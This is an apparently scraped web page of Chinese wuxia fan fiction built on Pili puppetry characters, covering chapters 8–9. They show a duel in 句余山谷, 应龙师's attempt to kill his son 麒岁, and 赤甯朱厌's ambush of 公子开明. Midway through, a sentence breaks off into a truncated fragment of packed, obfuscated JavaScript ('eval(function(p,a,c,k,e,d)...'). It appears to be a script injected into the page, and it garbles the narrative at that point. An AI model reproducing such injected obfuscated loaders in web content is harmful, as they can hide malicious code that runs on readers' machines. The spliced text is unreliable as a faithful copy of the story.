对方把全部的希望都寄托在这一掌上,所以下手用了百分之百的功力,若是换了别人接这一掌,怕是现在已经在黄泉路上了。 “嗯,玄影的徒弟,玄影的徒弟……让我想一下 ,我想一下……”公子开明一边运功疗伤,一边嘟嘟囔囔道: “你是谁派来的呢……” —— 凶岳疆朝,句余山谷。 苕水之畔,彩岩两侧,山崖嶙峋,峭壁如削,中间横亘一条狭长谷道,便是一夫当关,万夫莫开的句余山谷。 这谷道原本是沉沦海流经句余山的一条暗河,后历经数千年岁月,山川移动,河水干枯,最后形成了如今的险要山谷。 谷地之内,地势起伏,沟壑纵横,谷口即风口,风卷一地尘沙,犹如置身茫茫大漠。 此刻,漫漫黄沙之中,一道孤影静静伫立。 一柄寒光凛冽的刀立于地面,山头余晖洒落,为这剪影镀上一层金辉。 持刀者一双幽绿色的眼睛,静静地看着手中的钩剡陌刀。 那是一把长约一丈的长柄大刀,柄身嵌着翡翠血玉,刀面一条盘旋而上的龙纹,凶神恶煞,仿佛顷刻间就能吞噬天地万物。 刀的主人在等,等一个此生最强的敌人。 静,静得只有风的声音。 沉寂之中,地上的黄沙忽然似是感应到了什么一般,被一道强劲的狂风卷起,狂风呼啸,落土飞岩,一团团黄色的云雾弥漫天地。 黄云升腾之中,谷口处传来了狂傲的大笑声: “黑夜穿梭幽灵影,白色骷髅形似马!” “郎唤南宫名带恨,君扬怒眉杀天下!” “今日,南宫恨就要以你的失败作为快乐啦!哈哈哈哈哈——” 话音甫落,一道惊天动地的掌气朝着持刀者袭来了! 麒岁已有感应,听到声音的瞬间,手中钩剡陌刀抡起,幽绿色的刀光一闪,掌气在龙纹上四散开来! 只是他虽挡住了这磅礴的掌气,却还是被强大的功力击得后退了数步。 尘土飞扬之中,幽灵马车停在了他的身前。 麒岁将刀立于地面,面对幽灵马车,恭恭敬敬地鞠了一躬,“南宫先生。” 黑白郎君掀开马车的帘子,血红色的双眸在尘沙之中如同两滴刺目的鲜血。 “吾之对手,接招吧!” 黑白郎君话不多说,直接冲出马车落到麒岁身前,一拳一掌已然出招,快得惊人! 麒岁匆忙抡刀抵挡,掌气打向刀面的瞬间,人已被掌气击退! 好强的内力! 麒岁挥舞陌刀,地面的尘沙被刀面扫起,纷纷扬扬遮挡黑白郎君的视线。 麒岁询问,“南宫先生没有兵器?” 尘沙那边传来黑白郎君的回应,“哈哈哈哈!无妨!黑白郎君不用兵器也能败你!” 麒岁感叹道,“南宫先生果然是天下第一狂人,我若不用陌刀,倒显得我看轻了先生!” 麒岁说完,挥刀向前攻去,黑白郎君旋身避开,陌刀在他身上划出一道伤痕,他却不避不闪,借着这股力转到麒岁身后,一掌打在麒岁的背上! “啊!” 麒岁将刀向身后挥去,强大的刀气卷起无数尘沙飞扬! 黑白郎君面对气势汹汹的长柄大刀,一边灵活地躲开刀气,一边催动掌力击向麒岁。麒岁自知武学根基不及对方,便以退为进,用陌刀的凶猛消耗对方体力。 拳掌相接,黑白郎君又出一招怒马凌关,麒岁处处受到限制,手中陌刀反而成了他出招的阻碍,只能在对方快速衔接的招式里寻找破绽。 你来我往,刀风呼啸,掌影纷飞。攻击如狂风暴雨,防守又如铜墙铁壁。招对招,眼神相交间,脑海里已过千百招式! 缠斗许久,黑白郎君忽然察觉到了不对劲: “嗯?你没出全力!” 话一出口,他就找到了麒岁破绽之处,一掌出手,将麒岁狠狠打了出去! 麒岁卷着黄沙飞了出去,落地后,“哇”地吐出一大口血。 “与吾对战不尽全力,是小看黑白郎君吗?!” 不待麒岁回话,黑白郎君“阴阳一气”已出,黒色和白色的掌气风驰电掣而来! 麒岁挥出绿色的刀气接下他这一掌,却还是被这道掌气又打得后退了好几步。 “你将为你的傲慢付出代价!” 掌气与刀气再次相撞,黄云翻滚,震撼天地,连悬崖峭壁也为之撼动! “非也!” 惊天动地的对招之中,麒岁擦掉嘴角的鲜血,向他恼怒的对手解释道: “南宫先生,请听我解释!” 他这一声喊得急,黑白郎君一掌已出手,在离他面庞不到半寸的距离险险停下,直接将麒岁的嘴角逼出了一口血,头发都差点散掉。 “哦?”黑白郎君问道,“你有何说辞?” “咳咳!南宫先生,实在抱歉!”麒岁擦掉嘴角的血,满怀歉疚地说道,“麒岁也想用尽全力和南宫先生一战,但谷外有人要趁我受伤,害我性命!麒岁为自保,才不敢豁命一战!” “嗯?”黑白郎君皱了皱眉头:“何人要害你?” “是……” 麒岁话还没说完,天空中忽然乌云密布,电闪雷鸣,接着,不等他反应过来,一个巨大的绿色阵法在乌云中“轰”地炸开,一道凶猛的惊雷闪过,朝麒岁落了下来! “嗯?” 黑白郎君见状,迅疾将麒岁拽到了自己的身旁,另只手凝聚掌气,一招朝那道雷打了过去! 那雷被掌气击中,瞬间四散成了无数的火花,如同烟火般灿烂落下,归于一地尘土。 面对这突如其来的变数,黑白郎君却是冷静,他抬头看着天空中的乌云,忽地哈哈大笑起来: “哪里来的不知死活之人,胆敢打扰黑白郎君的战局?” 出招那人大概是没想到黑白郎君能接下他这一招,片刻过后,天空中才传来一个苍老的声音: “哼,年轻的小辈,终究会为你无知的狂妄付出代价!” 话音一落,无数阵法在阴风阵阵之中展开,一名老者席卷狂风,一掌袭了过来! “哦?有趣!” 黑白郎君大笑一声,站在原地不避不闪,起手硬接了这一掌! 刹那间,峡谷内飞沙走石,天昏地暗,滚滚黄沙遮天蔽日,天地失色,地动山摇! ??两人同时被这股强大的气劲打了出去,黑白郎君嘴角飞出鲜血,对面的术士也吐出一大口血。 黑白郎君险险站稳,朝前趔趄着走了一步。黄沙席卷,什么也看不清楚,但他还是凭借着招式认出了对方: “应龙师?” 黄沙纷纷扬扬落下,应龙师的身影渐渐出现。 “不错,正是老朽!” 年迈的疆主踱着步子缓缓走来,他一身幽绿长袍,手握崩云古幡,立于沙石之中,古幡在狂风之中猎猎作响,双目阴沉,浑身杀气,如同恶鬼前来寻仇一般。 “哼!”黑白郎君擦掉嘴边鲜血,语气轻蔑地道,“当初吾要与你一战,你却贪生怕死,推你的儿子出来应战。今日你闯进吾之战局,是反悔了,想要知晓黑白郎君如何让你一败涂地吗?” 应龙师的声音沉得像是暴风雨前的乌云,“黑白郎君,老朽今日前来无意与你对战,劝你莫要多管闲事。” 他一边说着,一边用崩云古幡指向麒岁: “老朽今日的目的只有一个,就是杀你身旁的逆子!” 发觉对方的目标是自己的对手,黑白郎君眼神瞟向向身旁的魔。 麒岁刚与他过了数招,此时已是受伤之躯,只能用刀勉强支撑着身体,应龙师若要在此刻取他性命,简直是轻而易举。 麒岁似乎没注意到黑白郎君看他的眼神,他的目光停留在应龙师身上,略带凄惨地笑出了声: “父王……想必你是料到……我在与南宫先生的对战中一定会身受重伤,所以才挑在此时此刻前来杀我……” 应龙师挥动崩云古幡,语气阴冷地道:“老朽现在不杀你,等你这逆子来杀老朽吗?你趁吾受伤,掌朝政,夺兵权,还要下毒谋害吾,嫁祸麒染。弑君杀弟,麒岁,你当真该死!” 麒岁勉强支起身子,声音带了一丝颤抖,不知是因为受了伤,还是因为愤怒: “我该死,那父王呢?”他字字见血地问道,“父王下手杀害大哥二哥他们、炼制魂元丹的时候,可有觉得自己该死?” 面对麒岁的控诉,应龙师看起来没有丝毫的愧疚,“哈哈哈,逆子,多说无益!你若是想见你大哥二哥,老朽可以现在立刻送你去见他们!” 说罢,崩云古幡随风转动,阴风瞬起,应龙师杀气四溢,起掌打向麒岁,上来便是逼命之招! 麒岁站在原地没动,一副视死如归的模样,满目仇恨地瞪着向他杀来的父亲。
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“嗯?”麒岁话没说完,黑白郎君就打断了他,声音里有些许的怒意: “你是觉得,吾对付不了你父亲?” “我不是这个意思……” “那就闭嘴!” 黑白郎君说罢,凝聚掌气,四溢的杀气直冲应龙师而去! 应龙师发招接掌,掌气相冲,地面的尘沙都被震到了空中: “无知小辈,既然你执意送死,那老朽就如你所愿!” 两大高手对招,整个山谷都被撼动,漫天黄沙击打彩色岩石,悬崖峭壁不断落下石块,仿佛马上就要塌陷,但黑白郎君与应龙师却丝毫不在意这岌岌可危的地势,只是越战越勇,越战越狂,誓要将对方拖下地狱为止! 黑白郎君正与应龙师缠斗,而另一边,观战的麒岁忽然感应到一股熟悉的杀气袭来,他一回头,见谷外忽然冲进来一个蓝色的身影,手持流星锤,电光火石之间,就朝麒岁砸了过来! 麒岁忙挥动陌刀挡住,定睛一看,竟是麒染! “麒染?”看到六弟,麒岁讶异地瞪大了眼睛,忙挥出陌刀抵挡对方的攻击! 麒染目露凶光,浑身杀气,他旋身又是一锤回来,招招逼命,誓要取麒岁的性命! “没想到吧!”麒染哈哈大笑,用语言干扰着他的注意力: “父王明面上将我打入牢中,其实是暗中派我驻扎此地,此时你安排在谷外的军队都已尽数被我歼灭,谷口封锁,父王加封三道结界,这句余山谷,就是你的绝地!” 麒岁已是受伤之身,麒染攻势凶猛,不过几招,已是又添许多新伤! 他长吸一口气,挪开眼神,看向谷口的方向。 确实,这里是个绝佳的围杀之地,这绝境是他自己设下,可以围杀敌人,也能把自己逼上绝境。 麒岁被麒染的流星锤一路逼到黑白郎君身旁,他朝黑白郎君的方向看去,此时黑白郎君和应龙师已经对战多时,两人皆有身负重伤之相,应龙师的身影已然摇摇晃晃,黑白郎君也已浑身带血,但他的气势却丝毫不减: “哈哈哈哈哈!尽兴!尽兴啊!” 黑白郎君丝毫不顾自己受的伤,双手挥于身前运招,飞沙走石在他得周身旋转,如同平底而起一场巨大的沙尘暴! 应龙师冷声道,“不知死活!” 说罢,崩云古幡“轰”地一声立于沙石之上,刹那间,天空中电山雷鸣,狂风大作,万千道幽灵般的落雷,从天空中巨大的阵法中打下,直取黑白郎君性命! 而地面的黑白郎君则是—— “收!”“化!”“运!”“发!” 狂人面对撼天之招,竟丝毫不带惧意,他神色沉稳,胸有成竹,黑白二气在掌中旋转,落雷风驰电掣击到他身边,却被他尽数纳于掌中。 “嗯?”应龙师忽然察觉到了不对,他在魔世从未见过这样的招式,“这是什么怪招?” 然而瞬息万变的战场,不容他多想,就听得黑白郎君在在幽绿色的阵阵雷电之中,高声道: “一气——化九百!” 招式名出,大招落成,只见那些血色的落雷以百倍之势,自黑白郎君掌中迸发,毁天灭地般的雷电闪耀着刺目的光芒爆发,调转矛头,尽数杀向了应龙师! “这是!” 意想不到的情况出现,应龙师诧异之间,匆忙放出屏障抵挡,但这因应急而放出的屏障终究受不住这百倍奉还的杀招,刹那间,百道雷电“轰隆隆”地穿透了阵法,如同百把长剑般,直直地穿过了应龙师! “噗……” 身躯与五脏六腑皆遭重击,千疮百孔,满目疮痍。 年迈的术士终是支撑不住,一下子跪倒在地上,猛地喷出了一大口血。 正与麒岁缠斗的麒染听到应龙师的惨叫声,忙回身喊道,“父王!” 应龙师艰难地抬起头,他看到黑白郎君也被此招逼得后退了好几步,呕出了一大口血。 但对方似乎对自身所受到的反噬丝毫不在意,“哈哈”大笑两声后,朝应龙师一步步走来。他手已起势,大概是要给他最后一掌,结束他的性命了。 应龙师知道,方才那招一气化九百,已经伤他太重,此时此刻若再接黑白郎君一掌,他必死无疑。 怎么办? 眼看黑白郎君就要走过来,应龙师一转头,忽然看到正打斗在一起的麒岁和麒染,两个人正打得不分胜负,麒岁大概是有意将麒染往黑白郎君这里引,两人已经朝这边打过来了。 见此情况,应龙师心里忽然有了办法: “哈哈……来得好!来得好!” 就在黑白郎君就要一掌打上他时,应龙师忽然一个起跳,伸手抓住了离他更近一些的麒染,直接朝黑白郎君的方向抵挡了过去! “什么?!” 应龙师此一举动来得太过突然,也太过出人意料,黑白郎君来不及收掌,直接一掌打在了麒染身上! 只听得一声惨叫,麒染猛地吐出了一大口血。 “应龙师,你!” “哈哈哈,无知小辈,这样就妄图杀死老朽,你们还是太年轻了!” 应龙师拿麒染挡住黑白郎君一掌后,另只手直接出掌,朝着一旁已无反抗之力的麒岁头顶劈了过去—— “逆子!受死吧!” 麒岁方才已被麒染耗尽了力气,此时一点反抗的能力都没有了,只能支着长刀,眼睁睁地看着应龙师一掌劈上来! ——!!! 然而,就在那一掌马上就要劈到麒岁头顶之时,应龙师忽然感觉自己的手动不了! “嗯?”突如其来的意外让应龙师一惊,“什么?!” 接着,不等他做出反应,前方忽然爆发出凶悍一掌,一下子把他打飞了出去! “啊!!!” 凶岳疆朝之主在空中留下一片血红,重重地跌落到地面,惊起了一片飞沙! “是……是谁……” 他一边吐着血,一边强撑着身子,瞪向麒岁的身后。 谷外都是麒染的军队把守,「天魔佐印」和他布下的结界也完好无损,这里怎么会有别人……怎么会有别人?! 一个不该出现于此的声音传了过来—— “老东西,你知道我这辈子,最恨什么样的人吗?” 应龙师难以置信地看过去,却见麒岁身后,忽地出现了一个巨大的空间之门,自那门中缓缓走出了三个人影,在这黄沙肆虐,滚滚烟尘中,站到了麒岁身旁。 “戮……戮世摩罗……网中人……噗!” 意想不到的人出现在这里,让应龙师惊得几乎发不出声来,话未说完,又是一大口血汹涌而出。 戮世摩罗手持逆神,居高临下地看着他,声音如同千年的玄冰般寒冷: “连自己的亲生儿子都要杀,应龙师,你果然——” 修罗帝尊一步一步朝应龙师走来,而他身旁的妖神将,已经凝聚起手中的蛛丝: “万分该死!” —未完待续— 8. 入局(3) 【8】 公子开明正站在城墙上观望海峡对岸的情况,后面忽然传来一个很难得出现在他耳朵里的声音: “策君!策君!不好了!” 公子开明转过身去,见赤甯朱厌急匆匆地跑上来,头冒冷汗,面色极为焦急。 见他如此,公子开明忙上前一步,“怎么了怎么了别急别急你先喘口气。” 赤甯朱厌长呼了一口气,而后道,“策君,帝尊和妖神将他们,去句余山谷了!” “呃……” 公子开明难得地没接上话,过了两三秒,才夸张地叹了口气道,“唉!果然,还是去了。” 他就知道,戮世摩罗多半是要趟这趟浑水的。 其实那天在招摇关外,公子开明给戮世摩罗的建议是可去可不去,因为无论是应龙师死还是麒岁死,都会对凶岳疆朝的国运产生动荡。 ——“麒岁之所以会找到我,是因为他会在决战当日布置一个围杀他自己最好的环境,引诱应龙师去杀他。而应龙师多疑,他比麒岁后到山谷,必定会封锁谷口以防变数。所以麒岁需要一个助力,一个应龙师绝对想不到,也不可能出现在那里的助力。” ——“策君说的是,云外镜。” ——“对,就是云外镜。帝尊可以用云外镜进入山谷,帮助麒岁杀掉应龙师,或者帮应龙师杀掉麒岁,只要你和妖神将出手,对方必死无疑。” ——“那么,策君认为我该去还是不该去?” ——“看帝尊想不想凑这个热闹了。如果帝尊去了,胜负便会由你主导,接下来的一切计划就都在我们的掌握中。帝尊不去也无妨,我们只需要看最后活下来的是谁,随机应变即可。” ——“啊,这样说来,我还是比较喜欢一切尽在掌握之中的感觉。” ——“这算是熊孩子的恶趣味吗?” ——“你说是就是吧。” …… 戮世摩罗把话说到这里,最终的决定果就已经很明显了。 果不其然,这熊孩子还是跑去凑热闹了。 公子开明拍了拍赤甯朱厌的肩膀,语重心长地道,“赤猴……不是,赤甯朱厌,遇事不要这么慌慌张张的,帝尊去句余山谷的事情我早就知道了,放宽心,没事的……” “不是……不是……”赤甯朱厌又大口喘了一口气,“这不是……主要的……” “啊?”意识到赤甯朱厌话未说完,公子开明感到了些许意外,“还有什么事?” 赤甯朱厌指了指自己,而后从心口处拿出来一个红色的军令牌: “刚刚从句余山谷那边回来的魔兵,带回来了赤色军令……” “啥!” 公子开明一见那赤色军令,脸色一下子就变了: “帝尊带军队去了?!” “是啊!”赤甯朱厌点点头,“所以我,我才这么着急!” 公子开明几乎要跳起来了,“赤甯朱厌你!你刚刚怎么不第一时间拿出来!你知道赤符意味着什么吗!绿符是普通军令,黄符是紧急军令,赤符就是一刻也不能拖延了要死人了!” “我……我知……” “现在立刻马上召集军队跨过苕水海峡!”公子开明几乎是在尖叫了,“五分钟内集合好直接飞过去!幽陀鬼羿驻守浮玉关,赤甯朱厌你和我一起去句余山谷,路上谁拦杀谁听到没!” “是!是!”赤甯朱厌虽讨厌公子开明,但他也清楚策君发起怒来有多可怕,一刻也不敢耽误,转身跌跌撞撞就跑下城楼了。 公子开明抬头喊道,“云啊——” 木鸢飞来,公子开明跳上去,盘旋在军营上方,像一只无所适从的鸟。 “死小孩,”公子开明握着拳头喃喃道,“你可千万别出事啊……”” —— 凶岳疆朝,句余山谷。 来自谷口的风扬起地面黄沙,细微的声音诉说着此时笼罩在这个山谷中危险的气氛。 剑拔弩张。 此时,黑白郎君已经停手,被打了一掌的麒染跌跌撞撞地朝战场外围退去,麒岁支着陌刀站在应龙师身前,而对面的应龙师已浑身是血,崩云古幡也已残破,还差最后一击,便是魂归西天了。 网中人站在应龙师身前,抬手起掌,绿色的邪光在掌心闪烁,白色的蛛丝从手心飞了出去,直直窜向应龙师的心脏! “应龙师,纳命来!” 眼见那蛛丝就要穿过应龙师,对方却忽然一挥袖子,未等众人有所反应,整个人化成了一股黑色的旋风,在扬起的无数尘沙之中,转了出去! 此一举看起来像是垂死之前的最后挣扎,本不需太过在意,但戮世摩罗却忽然注意到了应龙师转出去的方向! 他瞬间反应过来,“小诚!躲开!” 但为时已晚,那黑色的旋风忽地转到月牙诚身边,下一秒,应龙师的身影就从旋风中显现出来。 月牙诚听见戮世摩罗的声音,闪身就想往旁边躲开,但身后的应龙师迅速伸手,一指点住月牙诚的太阳穴,另一手掐住月牙诚的脖子,将他制住了。 网中人转身起掌,刚想再次对应龙师发招,却听得对方喊道,“你若出手,这孩子的命也就没了!” 网中人没出招,手却没有放下。 应龙师掐着月牙诚的脖子,瞪着戮世摩罗和网中人“哈哈”大笑起来: “你们……还是太年轻了……” 戮世摩罗把手放到了逆神的刀柄上,声音里染上一丝怒意,“麒岁啊,这么无耻的东西还能活这么久,我看你还是早点和修罗国度投降吧。” “哈哈哈哈……老朽能把持凶岳疆朝几百年,难道是白活的吗……”应龙师此时的笑声仿佛百鬼过境,沙哑而恐怖。 他一边冷笑,一边对月牙诚道,“娃娃,给老朽打开云外镜!” 月牙诚求助的眼光看向了戮世摩罗,戮世摩罗和他眼神对视一下,又看向了应龙师: “老东西,小诚的云外镜可以去九界任何一个地方,你要他打开云外镜,是要去哪里?” 应龙师对月牙诚呵斥道,“去妖界!” 闻言,戮世摩罗眉头皱了起来。 这老龙打的什么算盘?想来和麒岁打了这么一场,魔世是没有他的容身之所了,难道他要学自己,去妖界搬救兵? 只是……就他现在这只剩一口气的样子,去妖界……认真的吗? 但此时此刻他们没有过多思考的时间,戮世摩罗想不了那么多,只能凭着直觉做下最快的决定,“小诚,给他打开云外镜。” “帝尊……” “打开!”戮世摩罗重复道,“老东西我早晚会杀他,现在你的命比较重要。” 月牙诚定定地看着戮世摩罗,最后“唉”地叹了一口气,凝聚自身灵力开启云外镜。 不过一会儿,他身后就出现了一个半个身子那么大的洞口。 “……哈哈哈哈……”应龙师看着那洞口,枯朽的笑声再次响了起来,“帝鬼……长琴无焰,皆不是老朽的对手,就凭你一个小娃娃,还有一只臭蜘蛛,就想扳倒老朽,你们,还是太年……” 他话还没说完,旁边忽然闪过一个影子,不等众人反应过来,那人一掌直接打上了应龙师的额头! “什么?”应龙师完全没想到自己挟持着人质,还会被袭击,心中顿时慌乱,下意识地松开了挟持着月牙诚的手, 他定睛一看,竟是刚刚一直在旁边看戏的黑白郎君! “黑白郎君?你!” 黑白郎君出手快得出奇,应龙师脱手的瞬间,他就单手把月牙诚抢了过来,随即另只手起掌再次打向应龙师! 应龙师见状不好,忙趁乱朝月牙诚背上打了一掌,匆忙转身躲避。眼见通道马上就要闭合,他忙狼狈地跳了进去,几乎是将自己塞进了通道! 随后,那通道闪了一道强烈的白光,消失了。 月牙诚背后中掌,低头吐了一大口血,黑白郎君拽着他的胳膊,像是看一件物品一样看了一眼,而后往旁边一扔,就将月牙诚给丢了出去。 网中人急忙一个箭步冲上去接住了月牙诚,低头查看他的伤势。 黑白郎君摇着扇子走到麒岁旁边,语带嘲讽地道,“连一个小孩都救不下,吾真是替你感到丢人!” 网中人明显也在冒火,“你可知你刚才的行为有多危险,稍有不慎便会要了月牙诚性命?” 黑白郎君不以为然地哈哈大笑,“黑白郎君愿意出手救他,已经是对他的恩赐了!” “好了好了,小诚你没事吧?”眼见这两人又要吵起来,戮世摩罗忙走过来询问月牙诚的伤势。 “没事。”月牙诚摇摇头,“应龙师这掌不重。” 戮世摩罗无奈道,“都被打吐血了还不重。” 月牙诚叹了口气,有些惋惜地道,“可惜,还是让他逃走了。” “啊,没事,老东西中了剧毒,即使逃走也活不了多长时间了。”戮世摩罗安慰他道,“不然我也不会让你开云外镜。” “中毒?”月牙诚有些疑惑地重复。 “你是说麒岁下的毒吗?”网中人问。 戮世摩罗还未开口,旁边的麒岁就虚弱着声音开口道,“我……确实给父王下过毒,但父王对毒素非常警觉,我无法下剧毒,只能用浅毒引父王来杀我……我下的毒,恐怕对他的性命产生不了什么威胁……” “啊,我知道你下过毒,”戮世摩罗转身看向他,“但我说的不是你下的毒。你会下毒,我也会啊。” “什么?”闻言,麒岁脸上闪过一丝讶异,“你也下毒了?你是什么时候……” 但他话还没有说完,戮世摩罗身旁的网中人忽然凝聚魔力于掌气,转身朝着麒岁就打了过去! 他这一击来得实在毫无预兆,麒岁根本避无可避,只能眼睁睁地看着对方一掌袭来! 但还未等网中人近身,黑白郎君忽然往麒岁身前一闪,与网中人直接一掌对上! 由于刚才与应龙师对战受了内伤,黑白郎君被网中人这一掌打得退了好几步。 身后的麒岁见状,急忙上前扶住他,“南宫先生!”结果黑白郎君一把推开他,“闪开!” 接着,他转头看向网中人,怒声问道,“你什么意思?” 网中人用听不出情绪的语气道,“吾要杀他,就是这个意思。” “既然要杀,为何刚刚要救?” 网中人没说话,站在后面的戮世摩罗倒是开了口,语气很是理所应当,“本帝尊救他,是因为我天生看不惯当爹的杀自己的儿子。但我又不是他的父亲,当然可以杀他。” 顿了顿,又补充道,“还是说,麒岁要认我做父亲?如果他认我做父,我可以放他一马哦,我绝对不会杀自己儿子的。” 黑白郎君“哼”了一声,问道,“你可知麒岁与我还有一战未结束?” 戮世摩罗看看用陌刀撑着自己身体的麒岁,又看看嘴角全是血的黑白郎君,而后用一种像是看到什么天方夜谭一般的语气说道,“他都被打成这样了,胜负不是很明显了吗?” “哼!”黑白郎君将扇子往下一压,语气忽然变得恼怒异常,“起码他还有尊严,没有向吾屈……” 话没说完,网中人忽然回头问戮世摩罗,“戮世摩罗,麒岁杀不杀?” “能杀当然要杀了!”戮世摩罗回道。 网中人转身就朝麒岁打了过去! 黑白郎君起手就要接招,结果不等两人掌气对上,谷口忽然传来一声大喝,“四殿下!我来了!” 众人听见声音回头,只见一个背后插着两把斧子的魔从谷口“呼”地窜了进来,这人块头虽大,速度却极快,一眨眼的功夫就窜到了麒岁和黑白郎君的身旁,随之带起的沙尘扬了众人一身。 黄雾之中,麒岁喊道:“祸雕,机关!” 只见祸雕凝聚魔力一掌拍到地上,顿时地面的黄沙全部如同煮沸的水般翻腾了起来,以从祸雕掌心为圆心,出现了一个巨大的沙漩涡! 祸雕直起身子,一手拉住麒岁,一手拉住黑白郎君,纵身就跳进了那个漩涡之中! 网中人见状,想要追上前去,结果刚往前走了一步,戮世摩罗就叫住了他,“别进去。” 网中人停下脚步,见那漩涡在原地转了两圈,随后就逐渐恢复了平静。 戮世摩罗在后面沉声道,“漩涡底下不知道是哪里,万一有他们的军队,我们就成了瓮中之鳖了。” 顿了顿,又道,“我猜的果然没错,麒岁既然敢把我们引来,就一定在这里留了后手,以免我们杀掉应龙师之后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“句余山谷是个只进不出的山谷,你贸然进去,里面有埋伏怎么办?” “有埋伏又怎样!老子照样能打出来!” “用什么打,用你那灌了水还不足一斤重的脑子打吗?”公子开明指了指自己的脑袋,将降妖宝杖拿了出来,“你在这儿等着,我先进去查看,如果需要军队进入,我就在谷内放信号,没有接到信号就不要动,明白了吗?” 赤甯朱厌看看谷口,有些担忧地道,“要不还是我去?”听那语气,似乎不太信任公子开明的战力。 “没事,本策君没那么容易死。你在此处守好,就是最大的帮忙了。”公子开明摆了摆手,一边说着,一边拿着宝杖朝谷里快速走去了。 他一路走到谷口,地上的尸体越来越多,他却觉得越来越不对劲。 刚才他一看到赤符,几乎想也没想就带着军队冲来了句余山谷——因为只有鬼玺持有者才能发出赤符,赤符一出,就是十万火急之令,根本不给接令者思考的时间。 故但凡赤符出,大概率就是帝尊的性命岌岌可危了。 现在他一个人往谷口走去,倒反应过来整件事情的奇怪之处了——赤甯朱厌说帝尊带了军队来,可是戮世摩罗来句余山谷是依靠云外镜抵达,他怎么带魔兵? 再看地上的魔兵尸体,只有凶岳疆朝的魔兵,没有看见一个修罗国的魔兵,那么修罗国度的魔兵都去哪里了?难不成真的也是从云外镜来到山谷的? 距离句余山谷最近的军队驻扎地就是浮玉关,若是从别的关门调遣军队,也不可能速度这么快…… 如果说戮世摩罗其实没有带军队,只是赤甯朱厌不清楚情况以为他带了军队,那似乎还说得过去,可是帝尊若是没带军队的话,又是谁将赤符带来浮玉关的? 公子开明思考着,在谷口前停下了脚步。 …… 他忽地惊道,“不好,中计了!” 他刚反应过来,就忽然感到身后袭过来一道强烈的杀气! 公子开明挥杖转身,接着就见一柄血色大刀猛地朝他砍了过来! 公子开明举起降妖宝杖抵挡,虽挡住了大刀,但刀上的气劲一下子将他打了出去,落地后踉踉跄跄了数步才停下。 心口忽然一阵剧痛,公子开明揪了一下自己的领口,猛然反应过来,是之前在军营里挨的那一掌,还没有养好。 他将降妖宝杖支在地上,抬头去看对面的袭击者。 “……赤甯朱厌。” 一身赤色如血的守关大将站在他前方,手中拿着一把血色大刀,气势汹汹地看着他,后方是他带来的军队,已经将公子开明团团围在了谷口。 身前是要杀他的大军,身后是句余山谷,是条死路。 面对如此危境,公子开明倒也不慌张。他掩饰住自己伤还未好的事实,拿宝杖指向赤甯朱厌,语速极快地道,“赤甯朱厌,你什么意思,我不是让你在外面等着,你自己带着军队冲进来,是听不懂本策君的话吗?还是你脑壳太大脑子太小,传音时间太长,本策君的话还没传到你的脑子里?需不需要本策君掰开你的脑袋再重复一遍?” 赤甯朱厌冷声一笑,“哼,公子开明,事到如今就省下你那多余的口舌,好好想想怎么脱离此地吧。” 公子开明“嗯”了一声,点点头,“我是需要想想,让我想想,现在想想……”他将宝杖背在身后,走了两步,又抬起头看向赤甯朱厌: “你拿了赤符,让我来不及思考就带兵支援,而你组织的军队都是你事先安排好的亲信,就等着我和你们抵达山谷时,在这里把我杀掉,我说的对吗赤甯朱厌?” “反应过来了吗?”赤甯朱厌的大刀闪着血色的光芒,“那你就安心上路吧!” “等一下等一下,你好人做到底,让我死个明白。”赤甯朱厌刚要挥刀,公子开明忽然打断了他: “你看,我马上就要死了,我要是死了你那些威风和谁扬去,起码你要告诉我你杀我的动机吧?” “哼,你不该死吗?”赤甯朱厌的脸上露出了深恶痛绝的表情:“你通敌叛国,卖主求荣,今天我赤甯朱厌就要为修罗国度除掉你这个祸害!” “啊?”公子开明一脸听到天方夜谭的夸张表情,“赤甯朱厌,这个话可不能乱说啊!到底谁让你来捉拿我的?赤符又是谁给你的?” 赤甯朱厌语气铿锵,似是真的要为民除害一般,“叛国之人,自然人人得而诛之!”说罢抡出大刀,杀气四溢,黄沙翻滚: “公子开明,今日就是你的死期!” —未完待续— 9. 入局(4) 【9】 地下密道幽暗而深邃,昏黄的火把摇曳不定,勉强照亮前方几步之遥,火光映照下,石壁上的水珠闪烁着幽冷的光芒,宛如无数细小的眼睛,窥视着闯入此地的生灵。 祸雕带着麒岁和黑白郎君从机关处落到此地,三人刚一着地,黑白郎君就一下子甩开祸雕的胳膊,往旁边一闪,冷冷地“哼!”了一声。 麒岁见黑白郎君心情不佳,想来大概是因为祸雕将他从战场上带走,令他心生不满,便语带歉意地道,“抱歉,南宫先生。方才祸雕急着救我,又认为先生是凶岳疆朝的贵客,所以就一起带到这里了。若有失礼之处,望先生莫怪罪。” 黑白郎君没有接他的话,沉默片刻,摇着扇子道,“你受伤严重,今日黑白郎君就放你一马,我们来日再战。” 麒岁见他不再怪罪,感激地朝黑白郎君抱了一拳,“谢过南宫先生。今日之事是我破坏了先生的雅兴,实在抱歉。请先生给我一些时间,我将伤养好,再勤练武学,争取让先生下次战得尽兴。” “哼,这是你说的。欺骗南宫恨的下场,你自己清楚。” “麒岁断不敢欺骗南宫先生。” 说罢,他转头看向祸雕,“祸雕,隧道地形复杂,你助南宫先生离开此地,走东南门凶犁魔都的方向,明白吗?” “好嘞。”祸雕点点头,随后道,“南宫先生,您随我来。” 黑白郎君没再说话,将手一背,大步朝前走去了。 麒岁站在原地,目送黑白郎君朝另外一个通道离开后,才转身,朝着北门的方向走去。 他沿着蜿蜒曲折的通道走出一段距离后,走上一个楼梯,楼梯盘旋两圈后,前方出现了一扇木门。 麒岁转动了一下旁边的机关,那门就“嘎吱”一声转出了一个门洞——那是一个书柜的背面,只要转动机关,书柜就会转动,打开后面的密道。 麒岁从密道中走出来,又将书柜转了回去。 这里是一处密室,没有窗户,只有墙上挂着一盏烛台,闪着微微的火光,正对书柜的方向摆着一张凤纹屏风,除此之外再无他物。 麒岁刚将书柜转回去,就听见屏风后面传来一个略微震惊的声音: “四哥?!” 接着,一个身影就匆匆绕过屏风,跑到麒岁身前来了。 是凤璇音。 这个密道北方的出口,在羽瑞寒魄宫中。 凤璇音跑过来,一见麒岁浑身是血,吓了一跳,声音都开始抖了,“四哥?你和南宫先生的决战结束了?你……你受了这么严重的伤?!” 麒岁笑着冲凤璇音摆摆手,“没事,我没太受伤。” “可你……”凤璇音上下打量了一下麒岁,“你看起来……” 